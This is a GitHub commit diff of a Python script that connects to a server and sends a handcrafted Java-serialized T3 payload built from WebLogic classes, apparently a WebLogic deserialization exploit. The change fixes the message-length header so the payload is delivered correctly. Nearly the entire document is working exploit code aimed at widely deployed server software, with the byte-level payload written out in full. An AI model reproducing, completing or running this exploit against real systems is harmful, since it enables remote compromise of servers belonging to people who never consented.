File tree Expand file tree Collapse file tree 1 file changed +5
-5
lines changed
Expand file tree Collapse file tree 1 file changed +5
-5
lines changed Original file line number Diff line number Diff line change 11#!/usr/bin/python
22import socket
33import sys
4+ import struct
45
56sock = socket .socket (socket .AF_INET , socket .SOCK_STREAM )
67
2122payload = '\x00 \x00 \x09 \xf3 \x01 \x65 \x01 \xff \xff \xff \xff \xff \xff \xff \xff \x00 \x00 \x00 \x71 \x00 \x00 \xea \x60 \x00 \x00 \x00 \x18 \x43 \x2e \xc6 \xa2 \xa6 \x39 \x85 \xb5 \xaf \x7d \x63 \xe6 \x43 \x83 \xf4 \x2a \x6d \x92 \xc9 \xe9 \xaf \x0f \x94 \x72 \x02 \x79 \x73 \x72 \x00 \x78 \x72 \x01 \x78 \x72 \x02 \x78 \x70 \x00 \x00 \x00 \x0c \x00 \x00 \x00 \x02 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x01 \x00 \x70 \x70 \x70 \x70 \x70 \x70 \x00 \x00 \x00 \x0c \x00 \x00 \x00 \x02 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x01 \x00 \x70 \x06 \xfe \x01 \x00 \x00 \xac \xed \x00 \x05 \x73 \x72 \x00 \x1d \x77 \x65 \x62 \x6c \x6f \x67 \x69 \x63 \x2e \x72 \x6a \x76 \x6d \x2e \x43 \x6c \x61 \x73 \x73 \x54 \x61 \x62 \x6c \x65 \x45 \x6e \x74 \x72 \x79 \x2f \x52 \x65 \x81 \x57 \xf4 \xf9 \xed \x0c \x00 \x00 \x78 \x70 \x72 \x00 \x24 \x77 \x65 \x62 \x6c \x6f \x67 \x69 \x63 \x2e \x63 \x6f \x6d \x6d \x6f \x6e \x2e \x69 \x6e \x74 \x65 \x72 \x6e \x61 \x6c \x2e \x50 \x61 \x63 \x6b \x61 \x67 \x65 \x49 \x6e \x66 \x6f \xe6 \xf7 \x23 \xe7 \xb8 \xae \x1e \xc9 \x02 \x00 \x09 \x49 \x00 \x05 \x6d \x61 \x6a \x6f \x72 \x49 \x00 \x05 \x6d \x69 \x6e \x6f \x72 \x49 \x00 \x0b \x70 \x61 \x74 \x63 \x68 \x55 \x70 \x64 \x61 \x74 \x65 \x49 \x00 \x0c \x72 \x6f \x6c \x6c \x69 \x6e \x67 \x50 \x61 \x74 \x63 \x68 \x49 \x00 \x0b \x73 \x65 \x72 \x76 \x69 \x63 \x65 \x50 \x61 \x63 \x6b \x5a \x00 \x0e \x74 \x65 \x6d \x70 \x6f \x72 \x61 \x72 \x79 \x50 \x61 \x74 \x63 \x68 \x4c \x00 \x09 \x69 \x6d \x70 \x6c \x54 \x69 \x74 \x6c \x65 \x74 \x00 \x12 \x4c \x6a \x61 \x76 \x61 \x2f \x6c \x61 \x6e \x67 \x2f \x53 \x74 \x72 \x69 \x6e \x67 \x3b \x4c \x00 \x0a \x69 \x6d \x70 \x6c \x56 \x65 \x6e \x64 \x6f \x72 \x71 \x00 \x7e \x00 \x03 \x4c \x00 \x0b \x69 \x6d \x70 \x6c \x56 \x65 \x72 \x73 \x69 \x6f \x6e \x71 \x00 \x7e \x00 \x03 \x78 \x70 \x77 \x02 \x00 \x00 \x78 \xfe \x01 \x00 \x00 '
2223payload = payload + payloadObj
2324payload = payload + '\xfe \x01 \x00 \x00 \xac \xed \x00 \x05 \x73 \x72 \x00 \x1d \x77 \x65 \x62 \x6c \x6f \x67 \x69 \x63 \x2e \x72 \x6a \x76 \x6d \x2e \x43 \x6c \x61 \x73 \x73 \x54 \x61 \x62 \x6c \x65 \x45 \x6e \x74 \x72 \x79 \x2f \x52 \x65 \x81 \x57 \xf4 \xf9 \xed \x0c \x00 \x00 \x78 \x70 \x72 \x00 \x21 \x77 \x65 \x62 \x6c \x6f \x67 \x69 \x63 \x2e \x63 \x6f \x6d \x6d \x6f \x6e \x2e \x69 \x6e \x74 \x65 \x72 \x6e \x61 \x6c \x2e \x50 \x65 \x65 \x72 \x49 \x6e \x66 \x6f \x58 \x54 \x74 \xf3 \x9b \xc9 \x08 \xf1 \x02 \x00 \x07 \x49 \x00 \x05 \x6d \x61 \x6a \x6f \x72 \x49 \x00 \x05 \x6d \x69 \x6e \x6f \x72 \x49 \x00 \x0b \x70 \x61 \x74 \x63 \x68 \x55 \x70 \x64 \x61 \x74 \x65 \x49 \x00 \x0c \x72 \x6f \x6c \x6c \x69 \x6e \x67 \x50 \x61 \x74 \x63 \x68 \x49 \x00 \x0b \x73 \x65 \x72 \x76 \x69 \x63 \x65 \x50 \x61 \x63 \x6b \x5a \x00 \x0e \x74 \x65 \x6d \x70 \x6f \x72 \x61 \x72 \x79 \x50 \x61 \x74 \x63 \x68 \x5b \x00 \x08 \x70 \x61 \x63 \x6b \x61 \x67 \x65 \x73 \x74 \x00 \x27 \x5b \x4c \x77 \x65 \x62 \x6c \x6f \x67 \x69 \x63 \x2f \x63 \x6f \x6d \x6d \x6f \x6e \x2f \x69 \x6e \x74 \x65 \x72 \x6e \x61 \x6c \x2f \x50 \x61 \x63 \x6b \x61 \x67 \x65 \x49 \x6e \x66 \x6f \x3b \x78 \x72 \x00 \x24 \x77 \x65 \x62 \x6c \x6f \x67 \x69 \x63 \x2e \x63 \x6f \x6d \x6d \x6f \x6e \x2e \x69 \x6e \x74 \x65 \x72 \x6e \x61 \x6c \x2e \x56 \x65 \x72 \x73 \x69 \x6f \x6e \x49 \x6e \x66 \x6f \x97 \x22 \x45 \x51 \x64 \x52 \x46 \x3e \x02 \x00 \x03 \x5b \x00 \x08 \x70 \x61 \x63 \x6b \x61 \x67 \x65 \x73 \x71 \x00 \x7e \x00 \x03 \x4c \x00 \x0e \x72 \x65 \x6c \x65 \x61 \x73 \x65 \x56 \x65 \x72 \x73 \x69 \x6f \x6e \x74 \x00 \x12 \x4c \x6a \x61 \x76 \x61 \x2f \x6c \x61 \x6e \x67 \x2f \x53 \x74 \x72 \x69 \x6e \x67 \x3b \x5b \x00 \x12 \x76 \x65 \x72 \x73 \x69 \x6f \x6e \x49 \x6e \x66 \x6f \x41 \x73 \x42 \x79 \x74 \x65 \x73 \x74 \x00 \x02 \x5b \x42 \x78 \x72 \x00 \x24 \x77 \x65 \x62 \x6c \x6f \x67 \x69 \x63 \x2e \x63 \x6f \x6d \x6d \x6f \x6e \x2e \x69 \x6e \x74 \x65 \x72 \x6e \x61 \x6c \x2e \x50 \x61 \x63 \x6b \x61 \x67 \x65 \x49 \x6e \x66 \x6f \xe6 \xf7 \x23 \xe7 \xb8 \xae \x1e \xc9 \x02 \x00 \x09 \x49 \x00 \x05 \x6d \x61 \x6a \x6f \x72 \x49 \x00 \x05 \x6d \x69 \x6e \x6f \x72 \x49 \x00 \x0b \x70 \x61 \x74 \x63 \x68 \x55 \x70 \x64 \x61 \x74 \x65 \x49 \x00 \x0c \x72 \x6f \x6c \x6c \x69 \x6e \x67 \x50 \x61 \x74 \x63 \x68 \x49 \x00 \x0b \x73 \x65 \x72 \x76 \x69 \x63 \x65 \x50 \x61 \x63 \x6b \x5a \x00 \x0e \x74 \x65 \x6d \x70 \x6f \x72 \x61 \x72 \x79 \x50 \x61 \x74 \x63 \x68 \x4c \x00 \x09 \x69 \x6d \x70 \x6c \x54 \x69 \x74 \x6c \x65 \x71 \x00 \x7e \x00 \x05 \x4c \x00 \x0a \x69 \x6d \x70 \x6c \x56 \x65 \x6e \x64 \x6f \x72 \x71 \x00 \x7e \x00 \x05 \x4c \x00 \x0b \x69 \x6d \x70 \x6c \x56 \x65 \x72 \x73 \x69 \x6f \x6e \x71 \x00 \x7e \x00 \x05 \x78 \x70 \x77 \x02 \x00 \x00 \x78 \xfe \x00 \xff \xfe \x01 \x00 \x00 \xac \xed \x00 \x05 \x73 \x72 \x00 \x13 \x77 \x65 \x62 \x6c \x6f \x67 \x69 \x63 \x2e \x72 \x6a \x76 \x6d \x2e \x4a \x56 \x4d \x49 \x44 \xdc \x49 \xc2 \x3e \xde \x12 \x1e \x2a \x0c \x00 \x00 \x78 \x70 \x77 \x46 \x21 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x09 \x31 \x32 \x37 \x2e \x30 \x2e \x31 \x2e \x31 \x00 \x0b \x75 \x73 \x2d \x6c \x2d \x62 \x72 \x65 \x65 \x6e \x73 \xa5 \x3c \xaf \xf1 \x00 \x00 \x00 \x07 \x00 \x00 \x1b \x59 \xff \xff \xff \xff \xff \xff \xff \xff \xff \xff \xff \xff \xff \xff \xff \xff \xff \xff \xff \xff \xff \xff \xff \xff \x00 \x78 \xfe \x01 \x00 \x00 \xac \xed \x00 \x05 \x73 \x72 \x00 \x13 \x77 \x65 \x62 \x6c \x6f \x67 \x69 \x63 \x2e \x72 \x6a \x76 \x6d \x2e \x4a \x56 \x4d \x49 \x44 \xdc \x49 \xc2 \x3e \xde \x12 \x1e \x2a \x0c \x00 \x00 \x78 \x70 \x77 \x1d \x01 \x81 \x40 \x12 \x81 \x34 \xbf \x42 \x76 \x00 \x09 \x31 \x32 \x37 \x2e \x30 \x2e \x31 \x2e \x31 \xa5 \x3c \xaf \xf1 \x00 \x00 \x00 \x00 \x00 \x78 '
24- print 'sending payload...'
25- '''outf = open('payload.tmp','w')
26- outf.write(payload)
27- outf.close()'''
28- sock .send (payload )
2925
26+ # adjust header for appropriate message length
27+ payload = "{0}{1}" .format (struct .pack ('!i' , len (payload )), payload [4 :])
3028
29+ print 'sending payload...'
30+ sock .send (payload )
You can’t perform that action at this time.
0 commit comments